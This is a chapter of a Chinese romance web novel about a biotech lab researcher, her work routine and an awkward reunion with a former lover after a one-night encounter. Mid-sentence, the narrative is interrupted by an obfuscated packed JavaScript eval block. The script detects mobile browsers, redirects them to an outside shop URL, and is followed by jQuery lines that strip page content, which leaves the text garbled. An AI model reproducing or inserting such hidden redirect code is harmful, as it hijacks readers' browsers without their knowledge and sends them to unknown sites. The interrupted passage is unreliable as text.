爱情分式
二
到生物科技园时，刚好八点二十分，离上班打卡还有十分钟。
冬日北京的清晨总是灰蒙蒙的。一层分不清是雾还是霾，裹着天际，没有刺鼻的呛味，却也算不上清爽，吸进鼻腔里，带着几分燥湿的闷。
刷卡，“嘀”一声，门禁放行。
指纹核验，人脸识别，三道关卡过了，才算真正踏进生物安全区。
到研发部楼层，更衣室在走廊尽头。
她换上白大褂走进普通区，从负二十冰箱取出试剂，查验色泽度、批号和外观，核对胎牛血清解冻情况，检查实习生配制的营养基，在实验记录本上逐项打勾。
然后脱下白大褂，戴上一次性圆帽，将额前碎发全部收拢进去，再换上连体洁净服，从头到脚裹得严实，全身只露一双眼睛。
实验室里大家早都习惯了，只凭一双眼睛辨认彼此。
这衣服勒得久了，发际线都有些后移，她花了不少心思和金钱来养护头发。公司里的男实验员大多都被脱发困扰，他们主管就是个一百瓦大灯泡，灯光照上去，亮得能反光。几位老资深高管也是各顶着地中海。据说他们年轻时也都是一头浓密的黑发，后来不知道哪一年就掉光了。用他们的话说：“这掉的不是头发，是科研成果。”
手消、风淋室除尘、再次手消......这套流程她做了四年，闭着眼睛都能完成。
往里走，玻璃门自动弹开，里面是长长的无菌过道。再往里，机械轻微的嗡鸣声，罗列着大大小小的液氮罐，这就是细胞培育房。
恒温恒湿，灯光滤过系统低鸣，白得均匀。
左边是实验操作间，全是精密高端的仪器。她把洁净台旁开机，紫外消毒二十分钟。走到培养箱前，打开门，一层层抽板，显微镜推到面前，目镜抵上眼。
今天的CHO细胞状态不错，镜下单层铺得均匀，折光度好，少有死细胞。她在本子上写下：存活率预估95%，可以传代。①
同事小陈过来拿板，不梦吩咐她：“按原定计划传代，分板做两组平行，一组留种，一组给药处理。”
“好嘞。”
不梦又补上叮嘱：“所有操作你和小江双人核对，记录实时填写，污染第一时间上报。这批种子每板之间群间不均一，容易局灶性分化，传代时记得铺板密度再提高一档，别让他们长飞。两小时镜检一次，形态一旦不对，立刻挑出来隔离。”
小陈点头：“那我去配液。”
她是应届毕业生，才来了不到半年，试用期在生产一线，考核及格，调进实验室战场不到两个月。还是初级菜鸟实验员，揣的都是学校的基础理论。
“血清解冻完全，混匀再加。用T75瓶，加2ml胰酶，消化时间控制在3分钟左右，37℃孵育。”
“明白。”
小陈回到自己的操作台。
不梦离开显微镜，在旁边本子上写下：09:25，消化终止，细胞形态良好，存活率预估93%～97%。
然后换下一板，继续抽检长势、判定状态。
实验室没有天光，这是个维度外的世界。
同事们在各自的操作台上忙碌着，四下寂静的只有移液器吸液排液的细微声响，偶尔低声的交流，话题也只有培养瓶中这些琐事。
中午十二点，她接替过小陈酸麻的手，拿起培养基，贴着瓶壁慢慢加注，动作轻得怕惊扰到那些沉睡的北鼻。
实验本上留下一行标注：今日任务，维持细胞株稳定，无突发变量。
没有意外，就是细胞最好的结果。
工作餐时间。
昨晚喝酒了，今天不按固定搭配取餐，挑了三素一荤，一小砖米饭，没拿切好的橙子块，她要了整个，又抓了一把葡萄、一盒酸奶。
不碰过多油腻，营养摄入精确。找了个桌位慢慢吃着，一边刷朋友圈。
小陈端着餐盘坐在她对面，边吃边念叨：“林组临时请假了，家里老人血压高，让我们自行加班。”
不梦“嗯”了一声，夹起一筷子娃娃菜:“下午得加快进度，不然这批细胞的给药处理赶不上预定时间。”
小陈嚼着米粒：“刚才下游放大部打电话来问进度了，小江接的，说他们的纯化柱都要干透了，天天催命似的。”
“吃完回去，先核对配液浓度，再进行后续操作，争取早点做完。”不梦没抬头，加快了进食的速度。
下午的实验按部就班推进，给药处理、细胞孵育、实时记录......
直到傍晚七点半，最后一批样本入孵，设定好恒温参数，不梦才停下动作。
她逐一关闭操作台电源，将用过的枪头和离心管分类放入医疗废弃物容器，清理废液缸，垃圾倾倒进专用收集桶。再用消毒水擦拭台面，不放过任何一点试剂残留。
和小陈核对完当日实验记录，核对所有数据无误，签字确认后，两人一起离开细胞房。到缓冲间风淋除尘，再到更衣室脱下无菌服、口罩、圆帽，放入专用清洗袋，又用手消液清洁双手。
最后换上自己的衣服。
将实验本放进包里，打开手机，有几条微信。
第一个对话框，郭爸爸
【梦梦，还有一个多月就过年了，回来吗？你妈想你，一家人过个团圆年】
不梦回消息：郭爸爸，你和张女士身体可好？
一边往出走，刷卡出生物安全区，楼道里的灯光已经熄灭大半，只剩应急灯泛着微弱的光，鞋跟声在空旷的走廊里回荡。
那边回消息：梦梦，我们还好，你回家吗？
又弹出一条：回来过年吧，孩子，家里热闹，腊月十五是你的生日，爸爸发个红包，你买点好吃的。
一条红包弹了出来。
不梦没点开，回信：谢谢郭爸爸，我不缺钱，你们挣钱不容易，我很好，不用惦记，再见。
第二个对话框，小白猫。
是语音消息：“我这边快杀青了，累死小爷了，动作片真是费人！我几乎没怎么用替身，命都搭进去大半。这回不会骂我没演技了吧？宝贝，我还有新戏要试镜，等你生日我回去一趟，等我。我要吃你，狠狠地，吃你！”
她编辑打字，快速发过去：
【滚蛋！你大脑里那点儿过载的神经递质就好不了，天天宕机，再发那个称呼，就咒你票房扑街！】
那边没有回应，估计在忙，手机不在手边。
走出园区，今天加班没有太晚，天色沉成冻葡萄般的暗紫，远天尽头还浮着一层未散的橘霞，路灯次第亮起。
回到小区，有人等在保安室外。
他今天换了发型，一眼能看出是特意花了心思打理的，一身豆青色羽绒服衬得身形挺拔笔直，皮鞋崭新锃亮，整个人从头到脚似青春了几分，
仿佛还是那个等在宿舍楼下的学长，身上带着阳光的味道。
笑着问她：“又加班了？”
不梦没回答，脚步只顿了半秒，继续往前走。身后的声音问：“能不能加微信？或者、或者钉钉也行，我只有你的微博，发私信也不回。”
不梦开始后悔昨夜的事。
果然，不可控的变量，很可怕。
她停下脚步，回头，然后走回来，径直到他车边，戴了一边耳机，看着他的脸，问：“杨先生，你想怎样？直说。”
杨的脸上的笑意淡去，染上了苦涩：“我不想怎样，就想有个能联系到你的方式，不是要重提过去，只是......哪怕知道你每天实验顺利，身体安好，也就够了。”
不梦攥了攥包带，眉峰微蹙。
“没必要，昨夜只是一次意外，我们都喝了酒，情绪不在正常值，Casualcoupling（随性耦合）。就像你的离线对等节点，我的实验中偶然副反应，终止了，就该各自回归基线。”
“我知道。”他说，却没有往前逼近，依旧保持着一步的距离，不冒犯她的安全边界。“但离线对等会链路记录，实验副反应也会留存数据痕迹，苏不梦，你不能假装一切都没发生过。我不要你回应什么，就一个联系方式，我不打扰，只偶尔确认你还好。”
她说：“我不认为我们能退回去做所谓的普通朋友。”
“为什么不敢试试呢？”
她垂着眼，静默片刻：“好。”
他从羽绒口袋里掏出手机，解锁后递到她面前，屏幕上是他的个人主页。“我现在在智澜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590648|205448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
科技，做大模型训练架构，住在朝阳区望京西园的单身公寓，离你这里打车一个小时整。”
她没看。
“我知道了，你回去吧。”
他没动，深深凝视着她的脸，好一会儿后，问她：“你和同学们都还联系着吗？”
她稍点了下头，望着自己那栋公寓楼：“偶尔联系。”
“那你......”他嚅嗫着，迟疑着，还是问出了口：“我记得我们最后一次通话，我想知道，元小桃、樊芬菲她们，有没有跟你提过我和姣姣后来的事？”
这两个是不梦的大学舍友，死党。她毕业走了，她们留校读研。
她转头向一边，眉间露出不耐烦来。“她们说的话很多，我不可能每件事都记住，时间过去这么久了，我连她们的样子都模糊了，遑论其他。”
杨摩挲着衣角，踯躅道：“你就一点都不想知道，姣姣跟我决裂的原因是什么吗？”
不梦抬眼，目光平静地扫过他，停了一瞬。然后道：“杨先生，生活的培养皿里，不需要多余的变量，懂么？”
他沉默了几分钟，再开口时，声音里带了沉重的无奈，却依旧没放弃：“我不做你的变量，就加个钉钉，你要是觉得烦，随时可以拉黑，行不行？”
不梦摘下耳机，淡声问：“想维持temporarynode？（临时节点，其实就是隐喻PY关系）”
空气骤然凝固。
杨的笑容僵在脸上，眼神有片刻失了焦距，直直地望着她，唇瓣动了动，却发不出半个字。愣怔好一会儿，才苦笑两声，生硬地开口，声音如老旧机器般滞涩低哑：“如果、如果这样......可以的话......”
不梦打了个呵欠，眼角带出一点生理性的湿意，随手拭去：“我从不许诺以后，不许诺明天。”
“我知道，毕业分开那天你就这么说。”
“人没办法左右内源性激素调控，说到底不过是生理机制的临时反应。我心性无常，连自己都不确定，下次是否还想要你。”
她的语调很轻，一如她这个人，总是淡淡的。却是行事果决，从不拖泥带水。
连坦诚也是这样直白，没有半点虚意铺垫。
杨的目光黯然下来，没有反驳。
好一阵后，他指尖在屏幕上点了点，调出手机号和钉钉二维码，推得更近了些：“号码和钉钉都在这。如果需要我，我随叫随到，绝不迟到，也绝不逾矩。”
不梦看了一眼，没扫二维码，只记住了联系方式。
重新戴上耳机，鞋跟踩着水泥砖大步向前，羊绒大衣的下摆扫过地面，带起一阵风。
刚走出两步，身后突然传来一声低唤，带着压抑的：“笨笨。”
这两个字像一根细针，精准锚中了不梦某个微小的地方。
她的脚步猛地绊住，耳麦里的白噪音仿佛都消失了。
那是多年前。
她在实验室养废了第一株稳转细胞，直接毁了整组大课题中期样本，耽误所有人进度，被导师当着全实验室狠狠训了一顿。
回去躲着掉眼泪时，他递来一支哈根达斯，笑着哄她，给她取了个昵称：“笨笨”
那是属于“可控”岁月里，唯一的柔软。
“再见，杨先生。”她没回头，只是攥紧了包带，径直走进夜色里。
次日中午，食堂拿餐的人流刚落下去，不梦的手机在餐桌上震了一下。
她点开微信。小白猫的对话框顶在最前，只有两个字：毒妇！
紧接着，电话直接拨了进来。
周围还有同事在吃饭，谈笑声混着餐盘碰撞声。不梦把没吃完的米饭推到一边，拿起手机和工牌，快步往洗手间接。
走廊尽头的洗手间没什么人，她关上门，按下接通。
“宝贝——”
尾音拖得老长，明显是刚睡醒，嗓音带着沙哑，又裹着惯常的黏糊，一下钻入耳膜。不梦靠在冰冷的瓷砖墙上，眉头立刻皱起来。
“今天想我没有？快一个月了，你胖了还是瘦了？也不肯开视频。发个照片给我看看。”
“扑街没扑够是不是？”她压低声音直接骂出口，“还敢给我打电话！条律忘了吗？”